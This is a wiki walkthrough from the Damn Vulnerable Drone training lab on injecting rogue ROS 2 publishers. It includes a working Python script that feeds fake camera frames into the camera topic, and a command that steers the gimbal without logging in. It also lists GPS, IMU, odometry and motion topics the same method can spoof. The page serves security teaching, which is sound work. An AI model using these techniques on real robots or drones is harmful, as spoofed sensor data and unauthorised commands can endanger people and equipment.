-
Notifications
You must be signed in to change notification settings - Fork 75
ROS 2 Rogue Publisher Injection
Inject synthetic sensor frames into the live ROS 2 graph by publishing to the /webcam/image_raw topic.
Damn Vulnerable Drone > Attack Scenarios > Injection > ROS 2 Rogue Publisher Injection
ROS 2 has no built-in publisher authentication. Any participant on the same domain that knows the topic name and message type can publish to it, and matching subscribers will accept the messages alongside the legitimate ones.
This walkthrough injects synthetic frames into /webcam/image_raw while Gazebo's legitimate camera plugin is also publishing. The two streams interleave at the subscriber, which is visually obvious in the RTSP feed (rtsp://10.13.0.3:554/stream1).
The same technique applies to any sensor topic. If the drone published GPS fix on /gps/fix, IMU on /imu/data, or odometry on /odom, you would just retarget the publisher — the attack mechanics are identical. The reason this works is that ROS 2 ships without authentication on the data plane; SROS 2 adds it but is rarely deployed in practice.
⚠️ Solution Guide
docker pull osrf/ros:humble-desktop
docker run -it --network=simulator --ip=10.13.0.10 \
--name ros_humble_injector osrf/ros:humble-desktop bash
# osrf/ros:humble-desktop ships only rmw_fastrtps_cpp; install the Cyclone RMW
# or every ros2 command aborts with "librmw_cyclonedds_cpp.so: cannot open
# shared object file".
apt-get update && apt-get install -y ros-humble-rmw-cyclonedds-cpp
cat > /etc/cyclonedds.xml <<'EOF'
<?xml version="1.0" encoding="UTF-8"?>
<CycloneDDS xmlns="https://cdds.io/config">
<Domain id="any">
<General>
<AllowMulticast>false</AllowMulticast>
</General>
<Discovery>
<Peers>
<Peer address="10.13.0.3"/>
<Peer address="10.13.0.5"/>
</Peers>
</Discovery>
</Domain>
</CycloneDDS>
EOF
export ROS_DOMAIN_ID=42
export RMW_IMPLEMENTATION=rmw_cyclonedds_cpp
export CYCLONEDDS_URI=file:///etc/cyclonedds.xml
source /opt/ros/humble/setup.bash
ros2 topic info /webcam/image_raw -v
Note the QoS for the existing publisher (the gazebo_ros camera plugin). On the migration branch this will be History: KEEP_LAST, Reliability: BEST_EFFORT, Durability: VOLATILE. QoS matching is Request-vs-Offered: a subscriber receives from a publisher only if the publisher's offered reliability is at least as strong as the subscriber's requested reliability (RELIABLE > BEST_EFFORT). So a RELIABLE publisher reaches both RELIABLE and BEST_EFFORT subscribers, while a BEST_EFFORT publisher reaches only BEST_EFFORT subscribers. The companion subscribes BEST_EFFORT, so your injector lands whether it publishes BEST_EFFORT or the default RELIABLE. The script below uses qos_profile_sensor_data anyway — it's lower-overhead and mirrors the profile you just read off -v. (The one case where QoS blocks you is the reverse: reading the BEST_EFFORT camera with a default RELIABLE subscriber returns nothing.)
Save the following as ros2_rogue_publisher.py:
#!/usr/bin/env python3
import rclpy
from rclpy.node import Node
from rclpy.qos import qos_profile_sensor_data
from sensor_msgs.msg import Image
WIDTH, HEIGHT, RATE = 640, 480, 15.0
def make_payload():
row = bytearray(WIDTH * 3)
for x in range(WIDTH):
if (x // 40) % 2 == 0:
row[x * 3 + 2] = 255 # bright red
else:
row[x * 3 + 2] = 80 # dark red
return bytes(row) * HEIGHT
class RoguePub(Node):
def __init__(self):
super().__init__('rogue_camera_publisher')
self.pub = self.create_publisher(
Image, '/webcam/image_raw', qos_profile_sensor_data
)
self.timer = self.create_timer(1.0 / RATE, self.tick)
self.payload = make_payload()
def tick(self):
m = Image()
m.header.frame_id = 'camera_link'
m.height, m.width = HEIGHT, WIDTH
m.encoding = 'bgr8'
m.step = WIDTH * 3
m.data = self.payload
self.pub.publish(m)
def main():
rclpy.init()
node = RoguePub()
try:
rclpy.spin(node)
except KeyboardInterrupt:
pass
finally:
node.destroy_node()
rclpy.shutdown()
if __name__ == '__main__':
main()
From your Kali host, start watching the RTSP feed:
ffplay rtsp://10.13.0.3:554/stream1
You should see the Gazebo world. Now in the attacker container:
python3 ros2_rogue_publisher.py
Within a second or two, the RTSP feed will start flickering between the legitimate Gazebo frames and the bright-red vertical-bar pattern. The frames are interleaving because both publishers are announcing to the same topic with compatible QoS.
ros2 topic info /webcam/image_raw -v
You should now see two publishers on the topic — the simulator and your rogue node.
The ros2-migration branch wires the companion-computer's web-UI gimbal direction buttons through a ROS 2 topic. Each click POSTs to /camera/gimbal/<direction> on the companion's Flask app, which publishes a geometry_msgs/msg/Vector3 to /gimbal/cmd (x = tilt delta in degrees, y = pan delta in degrees). An on-board bridge node (gimbal_bridge) subscribes to that topic, accumulates the targets, and publishes a trajectory_msgs/msg/JointTrajectory to /set_joint_trajectory; the Gazebo joint_pose_trajectory plugin loaded by the drone model applies those positions directly to the gimbal's pan/tilt joints. The whole path is pure ROS 2 — it never touches ArduPilot or MAVLink.
From the same attacker container, publish directly to /gimbal/cmd and steer the camera — bypassing the web UI entirely, and without ever authenticating to the companion's /login:
ros2 topic pub --once /gimbal/cmd geometry_msgs/msg/Vector3 \
"{x: -45.0, y: 30.0, z: 0.0}"
That single message tilts the gimbal 45° down and pans 30° right. While a legitimate operator watches the RTSP feed, an attacker can sweep the camera at will.
Two things make this pedagogically interesting:
- The Flask gimbal route is gated behind
/login(it uses@login_required). The ROS topic is not — there is no authentication on the data plane, so the login control was effectively decorative. - Defenders can't tell the difference between web-UI clicks and rogue-publisher injection: the
gimbal_bridgesubscriber sees the sameVector3either way.
ROS 2 inherits DDS's open-by-default trust model. A participant that knows the domain ID, topic name, message type, and a compatible QoS profile can publish — there is no certificate, no token, no signature check. The defence is SROS 2, which signs every participant's identity and lets the enclave specify allowed publish/subscribe topics — but few production deployments actually enable it, and even when they do, the keystore is often readable by anyone who pops a shell on the robot.
The same technique applies, unchanged, to:
-
/gps/fix(sensor_msgs/msg/NavSatFix) — feed false position to a navigation stack -
/imu/data(sensor_msgs/msg/Imu) — induce bad attitude estimates -
/odom(nav_msgs/msg/Odometry) — confuse localisation - Any custom command topic — issue motion commands the operator did not authorise
-
-
Reconnaissance
-
Protocol Tampering
-
Denial of Service
-
Injection
-
Exfiltration
-
Firmware Attacks
-
-
Learning Resources